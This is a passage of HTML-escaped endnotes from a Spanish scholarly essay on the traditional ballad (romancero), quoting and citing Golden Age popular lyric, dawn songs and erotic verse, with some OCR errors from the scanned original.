<\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">(38) El romance de <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>La condesita <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">prosigue sin interrupci\u00f3n al de <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Gerineldo: <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Se llevan a Gerineldo de capi t\u00e1n general. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Si a los siete a\u00f1os no vengo, condesa, te casar\u00e1s. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Los siete a\u00f1os se han cumplido, los ocho se cumplir\u00e1n. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-\u00bfPor qu\u00e9 no te casas, hija? <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-\u00bfPor qu\u00e9 no caso, pap\u00e1?, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>porque me da el coraz\u00f3n que el rey-conde volver\u00e1. <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>(39) Romancero tradicional de las lenguas hisp\u00e1nicas (espa\u00f1ol-portugu\u00e9s-catal\u00e1n<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>s<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>efard\u00ed), <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ed. cit. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">(40) Comp\u00e1rese con los versos de esta canci\u00f3n tradicional: -Marica, Mariguela, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">del cuerpo garrido, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00a1qui\u00e9n hablara esta noche un hora contigo! <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Por su par~e, la cualidad de \u00abpulido\u00bb deb\u00eda despertar gran aprecio, siempre dentro de CIerto humor \u00abque inspira textos enteros o salpica a otros muchos. Es un a~pecto poco atendido, quiz\u00e1 por lo delicado que es investigar una faceta tan sensIble al mudar de las mentalidades y de los contextos culturales; ese mudar que nos sustrae claves de desciframiento o, lo que es peor, puede estimular claves completamente falaces\u00bb [di Stefano, G.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 49]: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Soy zagalexo y soi polidillo, soy namorado y no oso dezillo. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[Frenk, M. (~d.): <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Corl!us de la antigua l\u00edrica popular hisp\u00e1nica (siglos XV a <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>XVII). <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Castaha. MadrId, 1987. p\u00e1gs. 830 y 805, respectivamente]. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>(41) El introducir al amado en la alcoba a escondidas de los mayores se convierte en un tema com\u00fan de la poes\u00eda popular del Siglo de Oro:<\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>De miedo muriendo estoy, no hay paso que asiente llano; si quer\u00e9is ver c\u00f3mo voy, \u00abllegame al rostro la mano; <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que tengo un t\u00edo villano <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">de las Asturias de Oviedo &#8230; <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>y entre muy quedo, <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>que mestoy muriendo de miedo. <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Entre paso y tenga cuenta c\u00f3mo no sea sentido, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que lo menos que se sienta soy perdida y \u00e9l perdido; <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y pues que le he concedido <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">10 <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que \u00e9l quiere y yo puedo, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>entre muy quedo, . <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>que mestoy muriendo de miedo. <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Alzieu, P.; Jammes, J.; Lissorgues, Y. (eds.): <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Poes\u00eda er\u00f3tica del Siglo de Oro., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Cr\u00edtica. Barcelona, 1984. p\u00e1g. 114]. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">La medianoche parece ser cita obligada para los amantes en la l\u00edrica tradicional: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Papagayos, ruise\u00f1ores <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que cant\u00e1is al alborada, llevad nueva a mis amores c\u00f3mo espero aqu\u00ed asentada. La media noche es pasada, y no viene; <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">sabedme si hay otra amada que <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">10 <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">detiene. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">O como en estos otros versos: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Si la noche hace escura <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y tan corto es el camino, \u00bfc\u00f3mo no ven\u00eds, amigo? <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>La media noche es pasada y el que me pena no viene: mi desdicha <\/i><\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\"><i>10 <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>detiene <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Este introducir al amante a escondidas en la propia alcoba tambi\u00e9n ha sido tratado por la antigua l\u00edrica popular: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Aunque me vedes morenica en el agua, no ser\u00e9 yo frayla. <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Una madre que a m\u00ed cri\u00f3 <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">mucho me quiso y mal me guard\u00f3: a los pies de mi cama los canes at\u00f3, atolos ella, desatolos yo, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">metiera, madre, al mi lindo amor. No ser\u00e9 yo frayla. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Una madre que a m\u00ed criara <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">mucho me quiso y mal me guardara: a los pies de mi cama los canes atara, atolos ella, yo los desatara, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y metiera, madre, al que m\u00e1s amava. No ser\u00e9 yo frayla. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[Frenk, M. (ed.): <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Corpus de la antigua l\u00edrica popular hisp\u00e1nica (siglos XV a <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>XVII), <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ed. cit., p\u00e1gs. 99-100]. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Madre, la mi madre, guardas me pon\u00e9is; <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que si yo no me guardo no me guardar\u00e9is. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[AI\u00edn, J.M. (ed.): <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Cancionero tradicional. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Castalia. Madrid, 1991. p\u00e1g. 405]. <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Flor nueva de romances viejos, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ed. cit., p\u00e1g. 59. Ya se ha advertido el origen carolingio de la tem\u00e1tica, <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">10 <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que justifica, en cierta medida, la posible relaci\u00f3n en este punto con ciertos romances del ciclo bret\u00f3n y, concretamente, con la novela art\u00farica. De este modo, las repercusiones derivadas de la interferencia de la espada se extienden a un plano conyugal. <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Vid. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Entwistle, W.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>The Arthurian Legend in the Literatures 01 the Spanish Peninsula. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Dent. Londres-Toronto, 1925; reimpresi\u00f3n: Kraus. Nueva York, 1975. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">El miedo a que llegue el d\u00eda tras la noche amorosa es el tema fundamental de la variaci\u00f3n gen\u00e9rica trovadoresca medieval del \u00abalba\u00bb (Cfr. la esclarecedora \u00abIntroducci\u00f3n\u00bb de Alvar, C.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Poes\u00eda de trovadores, trouveres y Minnesinger. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Alianza Editorial. Madrid, 1981, <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">Y <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">el excelente trabajo de Empaytaz de Croome, D.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Albor: Medieval and Renaissance Dawn-Songs in the lberian Peninsula, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Ann Arbor, University Microfilms, 1980). Muchas cancioncilIas tra<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">d<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">icionales desarrollan esta an\u00e9cdota: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Ya cantan los gaIlos, buen amor, y vete, cata que amanece. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Que canten los gallos, yo, \u00bfc\u00f3mo me ir\u00eda <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>pues tengo en mis brazos la que yo m\u00e1s quer\u00eda? <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Antes morir\u00eda <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que de aqu\u00ed me fuese, aunque amaneciese. -Deja tal porf\u00eda, <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">mi dulce amador, <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que viene el albor, esclarece el d\u00eda. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Pues el alegr\u00eda <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">por poco fenece, <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">cata que amanece. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Cuando se produce su cristianizaci\u00f3n, lo que se teme es la llegada de la noche y se pasa a celebrar la claridad y esplendor diurnos: <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Al alba venid, buen amigo, al alba venid. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Amigo, el que yo m\u00e1s quer\u00eda, venid al alba del d\u00eda. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Amigo, el que yo m\u00e1s amaba, venid a la luz del alba. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Al\u00edn, J.M. (ed.): <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1gs. 123-125 y 111-112, respectivamente]. <\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">P<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ara M. D\u00e9bax \u00abse trata m\u00e1s bien aqu\u00ed, a mi parecer, de un conflicto poder\/no poder, y el final es como un desquite simb\u00f3lico que se vale de un poder superior (juramento a la Virgen) para vengarse del rey y de la infanta, representantes de cierto poder discrecional\u00bb <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>[Romancero, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Madrid, Alhambra, 1982. p\u00e1g. 394]. Por otra parte puede tratarse de un verdadero voto: <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Tengo una promesa hecha con la Virgen de la Estrella, se\u00f1ora que ha s\u00edo mi ama en no casarme con ella. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Tengo la contrata hecha <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">con la Virgen de la Estrella, que con mujer que yo duerma de no casarme con ella. <\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Acerca del car\u00e1cter dialog\u00edstico del romance, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>vid. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00a7 <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">3. Narraci\u00f3n <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: xx-small\">y <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">di\u00e1logo. Romances-cuento y romances-di\u00e1logo, en Men\u00e9ndez Pidal, R.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero his<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>p<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>\u00e1nico, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ed. cit., vol. I. p\u00e1g. 63 <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">Y <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ss. Por su valor aclaratorio y concisi\u00f3n, traemos aqu\u00ed el aserto de di Stefano, G.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1gs. 56 y 57: \u00abPero es &#8216;teatral&#8217;, esencialmente, la modalidad de organizaci\u00f3n de los textos m\u00e1s recu<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">r<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">rida y singular: el mon\u00f3logo, con o sin pre\u00e1mbulo y remate, y el di\u00e1logo, dentro de los l\u00edmites de una o dos escenas -raramente tres o m\u00e1s- yuxtapuestas. El espacio de la narraci\u00f3n indirecta, y el del narrador, es muy inferior al de la voz de los protagonistas. Los modos de ejecuci\u00f3n y la transmisi\u00f3n oral habr\u00e1n jugado un papel decisivo en tal tipo de formalizaci\u00f3n de los textos seg\u00fan los conocemos\u00bb . <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Vid. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Men\u00e9ndez Pidal, R.: \u00abLos romances de don Bueso\u00bb, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Bulletin Hispanique, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">L (1948). p\u00e1gs. 307-312; y L\u00f3pez Estrada, F.: \u00abEl romance de \u00abDon Bueso\u00bb y la canci\u00f3n de \u00abLa peregrinita\u00bb en el cancionero folkl\u00f3rico de Antequera\u00bb. En <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>De los romances-villancico a la poes\u00eda de Claudio Rodr\u00edguez. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">22 <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>ensayos sobre las literaturas espa\u00f1ola e hispanoamericana en homenaje a Gustav Siebenmann. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Jos\u00e9 Esteban. Madrid, 1984. p\u00e1gs. 253-261. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Este motivo tendr\u00e1 rendimiento incluso en la poes\u00eda er\u00f3tica de finales del siglo XVI y principios del XVII: <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Estaba una fregona por enero <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">metida hasta los muslos en el r\u00edo, lavando pa\u00f1os con tal donaire y br\u00edo, que mil necios tra\u00eda al retortero. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Un cierto conde, alegre y placentero, <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">le pregunt\u00f3 por gracia si hac\u00eda fr\u00edo. Respondi\u00f3 la fregona: \u00abSe\u00f1or m\u00edo, siempre llevo conmigo yo un brasero\u00bb. El conde, que era astuto, y supo d\u00f3nde, le dijo, haciendo rueda como pavo, <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que le encendiese un cirio que tra\u00eda. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">y <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">dijo entonces la fregona al conde, alz\u00e1ndose las faldas hasta el rabo: -\u00abPues sople este tiz\u00f3n Vuese\u00f1or\u00eda\u00bb. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[Alzieu, P.; Jammes, R.; Lissorgues, Y. (eds.): <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 60]. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Frenk, M. (ed.): <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Corpus de la antigua l\u00edrica popular hisp\u00e1nica (siglos XV a <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>XVII), <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ed. cit., p\u00e1gs. 151 y 181, respectivamente. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>\u00a1bid., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1gs. 46 y 15, respectivamente. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>\u00a1bid., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 232. <\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00abAunque laico y ajeno a fraseolog\u00eda didasc\u00e1lica, el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>romancero <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">quiere ser un universo tambi\u00e9n de <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>exempla, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">prolongando en el tiempo su medievalismo intr\u00edn<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">s<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">eco [ &#8230; ]. La virtud a solas padece de endeblez est\u00e9tica; s\u00f3lo del haz y del env\u00e9s de la criatura femenina promana un poderoso, \u00fanico encanto. Nunca consegui<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">r<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">emos averiguar si ha sido una concepci\u00f3n distorsionada de la \u00e9tica femenina o una orientaci\u00f3n perversa de la est\u00e9tica del p\u00fablico la responsable 